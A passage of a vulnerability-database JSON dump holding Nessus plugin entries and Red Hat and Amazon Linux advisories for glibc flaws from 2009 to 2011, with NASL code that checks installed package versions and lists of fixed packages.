timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nIt was discovered that the glibc addmntent() function, used by various\nmount helper utilities, did not sanitize its input properly. A local\nattacker could possibly use this flaw to inject malformed lines into\nthe mtab (mounted file systems table) file via certain setuid mount\nhelpers, if the attacker were allowed to mount to an arbitrary\ndirectory under their control. (CVE-2010-0296)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was discovered that the glibc fnmatch() function did not properly\nrestrict the use of alloca(). If the function was called on\nsufficiently large inputs, it could cause an application using\nfnmatch() to crash or, possibly, execute arbitrary code with the\nprivileges of the application. (CVE-2011-1071)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nIt was discovered that the locale command did not produce properly\nescaped output as required by the POSIX specification. If an attacker\nwere able to set the locale environment variables in the environment\nof a script that performed shell evaluation on the output of the\nlocale command, and that script were run with different privileges\nthan the attacker's, it could execute arbitrary code with the\nprivileges of the script. (CVE-2011-1095)\n\nAn integer overflow flaw was found in the glibc fnmatch() function. If\nan attacker supplied a long UTF-8 string to an application linked\nagainst glibc, it could cause the application to crash.\n(CVE-2011-1659)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nThis update also fixes the following bug :\n\n* When using an nscd package that is a different version than the\nglibc package, the nscd service could fail to start. This update makes\nthe nscd package require a specific glibc version to prevent this\nproblem. (BZ#657009)\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n # http://lists.centos.org/pipermail/centos-announce/2012-February/018427.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?bf7a1505\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected glibc packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-profile\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:nptl-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:4\");\n\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/CentOS/release\")) audit(AUDIT_OS_NOT, \"CentOS\");\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && \"ia64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"glibc-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"glibc-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"glibc-common-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"glibc-common-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"glibc-devel-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"glibc-devel-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"glibc-headers-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"glibc-headers-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"glibc-profile-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"glibc-profile-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"glibc-utils-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"glibc-utils-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"nptl-devel-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"nptl-devel-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"i386\", reference:\"nscd-2.3.4-2.57\")) flag++;\nif (rpm_check(release:\"CentOS-4\", cpu:\"x86_64\", reference:\"nscd-2.3.4-2.57\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_hole(port:0, extra:rpm_report_get());\n else security_hole(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-30T14:23:40", "references": ["https://www.redhat.com/security/data/cve/CVE-2011-1659.html", "http://rhn.redhat.com/errata/RHSA-2012-0125.html", "https://www.redhat.com/security/data/cve/CVE-2011-4609.html", "https://www.redhat.com/security/data/cve/CVE-2011-1089.html", "https://www.redhat.com/security/data/cve/CVE-2011-1071.html", "https://www.redhat.com/security/data/cve/CVE-2011-1095.html", "https://www.redhat.com/security/data/cve/CVE-2010-0830.html", "https://www.redhat.com/security/data/cve/CVE-2010-0296.html", "https://www.redhat.com/security/data/cve/CVE-2009-5029.html", "https://www.redhat.com/security/data/cve/CVE-2009-5064.html"], "pluginID": "57928", "description": "Updated glibc packages that fix multiple security issues and one bug are now available for Red Hat Enterprise Linux 4.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nIt was discovered that the glibc addmntent() function, used by various mount helper utilities, did not sanitize its input properly. A local attacker could possibly use this flaw to inject malformed lines into the mtab (mounted file systems table) file via certain setuid mount helpers, if the attacker were allowed to mount to an arbitrary directory under their control. (CVE-2010-0296)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was discovered that the glibc fnmatch() function did not properly restrict the use of alloca(). If the function was called on sufficiently large inputs, it could cause an application using fnmatch() to crash or, possibly, execute arbitrary code with the privileges of the application. (CVE-2011-1071)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nIt was discovered that the locale command did not produce properly escaped output as required by the POSIX specification. If an attacker were able to set the locale environment variables in the environment of a script that performed shell evaluation on the output of the locale command, and that script were run with different privileges than the attacker's, it could execute arbitrary code with the privileges of the script. (CVE-2011-1095)\n\nAn integer overflow flaw was found in the glibc fnmatch() function. If an attacker supplied a long UTF-8 string to an application linked against glibc, it could cause the application to crash.\n(CVE-2011-1659)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nThis update also fixes the following bug :\n\n* When using an nscd package that is a different version than the glibc package, the nscd service could fail to start. This update makes the nscd package require a specific glibc version to prevent this problem. (BZ#657009)\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 4, "reporter": "Tenable", "published": "2012-02-14T00:00:00", "title": "RHEL 4 : glibc (RHSA-2012:0125)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "Red Hat Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0296", "CVE-2011-1659", "CVE-2010-0830", "CVE-2011-1071", "CVE-2011-1095", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-07-25T00:00:00", "cpe": ["cpe:/o:redhat:enterprise_linux:4", "p-cpe:/a:redhat:enterprise_linux:glibc-utils", "p-cpe:/a:redhat:enterprise_linux:nptl-devel", "p-cpe:/a:redhat:enterprise_linux:glibc", "p-cpe:/a:redhat:enterprise_linux:glibc-common", "p-cpe:/a:redhat:enterprise_linux:glibc-devel", "p-cpe:/a:redhat:enterprise_linux:nscd", "p-cpe:/a:redhat:enterprise_linux:glibc-profile", "p-cpe:/a:redhat:enterprise_linux:glibc-headers"], "id": "REDHAT-RHSA-2012-0125.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=57928", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0125. The text \n# itself is copyright (C) Red Hat, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57928);\n script_version (\"1.15\");\n script_cvs_date(\"Date: 2018/07/25 18:58:06\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0296\", \"CVE-2010-0830\", \"CVE-2011-1071\", \"CVE-2011-1089\", \"CVE-2011-1095\", \"CVE-2011-1659\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46563, 46740, 47370, 50898, 51439);\n script_xref(name:\"RHSA\", value:\"2012:0125\");\n\n script_name(english:\"RHEL 4 : glibc (RHSA-2012:0125)\");\n script_summary(english:\"Checks the rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Red Hat host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues and one bug\nare now available for Red Hat Enterprise Linux 4.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nIt was discovered that the glibc addmntent() function, used by various\nmount helper utilities, did not sanitize its input properly. A local\nattacker could possibly use this flaw to inject malformed lines into\nthe mtab (mounted file systems table) file via certain setuid mount\nhelpers, if the attacker were allowed to mount to an arbitrary\ndirectory under their control. (CVE-2010-0296)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was discovered that the glibc fnmatch() function did not properly\nrestrict the use of alloca(). If the function was called on\nsufficiently large inputs, it could cause an application using\nfnmatch() to crash or, possibly, execute arbitrary code with the\nprivileges of the application. (CVE-2011-1071)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nIt was discovered that the locale command did not produce properly\nescaped output as required by the POSIX specification. If an attacker\nwere able to set the locale environment variables in the environment\nof a script that performed shell evaluation on the output of the\nlocale command, and that script were run with different privileges\nthan the attacker's, it could execute arbitrary code with the\nprivileges of the script. (CVE-2011-1095)\n\nAn integer overflow flaw was found in the glibc fnmatch() function. If\nan attacker supplied a long UTF-8 string to an application linked\nagainst glibc, it could cause the application to crash.\n(CVE-2011-1659)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nThis update also fixes the following bug :\n\n* When using an nscd package that is a different version than the\nglibc package, the nscd service could fail to start. This update makes\nthe nscd package require a specific glibc version to prevent this\nproblem. (BZ#657009)\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5029.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2009-5064.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0296.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2010-0830.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1071.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1089.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1095.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-1659.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://www.redhat.com/security/data/cve/CVE-2011-4609.html\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://rhn.redhat.com/errata/RHSA-2012-0125.html\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-profile\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nptl-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:redhat:enterprise_linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:redhat:enterprise_linux:4\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Red Hat Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\", \"Host/cpu\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"rpm.inc\");\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Red Hat\" >!< release) audit(AUDIT_OS_NOT, \"Red Hat\");\nos_ver = eregmatch(pattern: \"Red Hat Enterprise Linux.*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Red Hat\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^4([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Red Hat 4.x\", \"Red Hat \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\" && \"s390\" >!< cpu) audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Red Hat\", cpu);\n\nyum_updateinfo = get_kb_item(\"Host/RedHat/yum-updateinfo\");\nif (!empty_or_null(yum_updateinfo)) \n{\n rhsa = \"RHSA-2012:0125\";\n yum_report = redhat_generate_yum_updateinfo_report(rhsa:rhsa);\n if (!empty_or_null(yum_report))\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : yum_report \n );\n exit(0);\n }\n else\n {\n audit_message = \"affected by Red Hat security advisory \" + rhsa;\n audit(AUDIT_OS_NOT, audit_message);\n }\n}\nelse\n{\n flag = 0;\n if (rpm_check(release:\"RHEL4\", reference:\"glibc-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"glibc-common-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"glibc-devel-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"glibc-headers-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"glibc-profile-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"glibc-utils-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"nptl-devel-2.3.4-2.57\")) flag++;\n if (rpm_check(release:\"RHEL4\", reference:\"nscd-2.3.4-2.57\")) flag++;\n\n if (flag)\n {\n security_report_v4(\n port : 0,\n severity : SECURITY_HOLE,\n extra : rpm_report_get() + redhat_report_package_caveat()\n );\n exit(0);\n }\n else\n {\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-profile / etc\");\n }\n}\n", "cvss": {"score": 7.2, "vector": "AV:LOCAL/AC:LOW/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "amazon": [{"lastseen": "2016-09-28T21:04:12", "references": ["https://rhn.redhat.com/errata/RHSA-2012-0058.html"], "affectedPackage": [{"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-static-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-static", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "nscd-2.12-1.47.32.amzn1.x86_64", "packageName": "nscd", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-debuginfo-2.12-1.47.32.amzn1.i686", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-utils-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-debuginfo-common-2.12-1.47.32.amzn1.i686", "packageName": "glibc-debuginfo-common", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-utils-2.12-1.47.32.amzn1.i686", "packageName": "glibc-utils", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-2.12-1.47.32.amzn1.i686", "packageName": "glibc", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-common-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-common", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-devel-2.12-1.47.32.amzn1.i686", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-common-2.12-1.47.32.amzn1.i686", "packageName": "glibc-common", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-headers-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-debuginfo-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-debuginfo", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-debuginfo-common-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-debuginfo-common", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "nscd-2.12-1.47.32.amzn1.i686", "packageName": "nscd", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "x86_64", "packageFilename": "glibc-devel-2.12-1.47.32.amzn1.x86_64", "packageName": "glibc-devel", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-headers-2.12-1.47.32.amzn1.i686", "packageName": "glibc-headers", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "i686", "packageFilename": "glibc-static-2.12-1.47.32.amzn1.i686", "packageName": "glibc-static", "operator": "lt"}, {"OS": "Amazon Linux", "OSVersion": "any", "packageVersion": "2.12-1.47.32", "arch": "src", "packageFilename": "glibc-2.12-1.47.32.amzn1.src", "packageName": "glibc", "operator": "lt"}], "edition": 1, "description": "**Issue Overview:**\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. ([CVE-2009-5029 __](<https://access.redhat.com/security/cve/CVE-2009-5029>))\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. ([CVE-2011-4609 __](<https://access.redhat.com/security/cve/CVE-2011-4609>))\n\n \n**Affected Packages:** \n\n\nglibc\n\n \n**Issue Correction:** \nRun _yum update glibc_ to update your system. \n\n \n**New Packages:**\n \n \n i686: \n glibc-debuginfo-common-2.12-1.47.32.amzn1.i686 \n glibc-common-2.12-1.47.32.amzn1.i686 \n glibc-debuginfo-2.12-1.47.32.amzn1.i686 \n glibc-devel-2.12-1.47.32.amzn1.i686 \n glibc-2.12-1.47.32.amzn1.i686 \n glibc-utils-2.12-1.47.32.amzn1.i686 \n nscd-2.12-1.47.32.amzn1.i686 \n glibc-headers-2.12-1.47.32.amzn1.i686 \n glibc-static-2.12-1.47.32.amzn1.i686 \n \n src: \n glibc-2.12-1.47.32.amzn1.src \n \n x86_64: \n glibc-devel-2.12-1.47.32.amzn1.x86_64 \n glibc-static-2.12-1.47.32.amzn1.x86_64 \n glibc-debuginfo-common-2.12-1.47.32.amzn1.x86_64 \n glibc-utils-2.12-1.47.32.amzn1.x86_64 \n glibc-common-2.12-1.47.32.amzn1.x86_64 \n glibc-headers-2.12-1.47.32.amzn1.x86_64 \n glibc-2.12-1.47.32.amzn1.x86_64 \n glibc-debuginfo-2.12-1.47.32.amzn1.x86_64 \n nscd-2.12-1.47.32.amzn1.x86_64 \n \n \n", "reporter": "Amazon", "published": "2012-02-02T14:26:00", "enchantments": {"score": {"vector": "NONE", "value": 7.5}}, "type": "amazon", "title": "Medium: glibc", "bulletinFamily": "unix", "cvelist": ["CVE-2011-4609", "CVE-2009-5029"], "modified": "2014-09-14T15:14:00", "id": "ALAS-2012-39", "href": "https://alas.aws.amazon.com/ALAS-2012-39.html", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}], "redhat": [{"lastseen": "2018-06-12T21:10:05", "_object_types": ["robots.models.base.Bulletin", "robots.models.redhat.RedHatBulletin"], "references": [], "affectedPackage": [{"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-debuginfo-common", "packageFilename": "glibc-debuginfo-common-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": "2.12-1.47.el6_2.5", "arch": "i686", "packageName": "glibc-debuginfo", "packageFilename": "glibc-debuginfo-2.12-1.47.el6_2.5.i686.rpm", "operator": "lt"}, {"OS": "RedHat", "OSVersion": "6", "packageVersion": 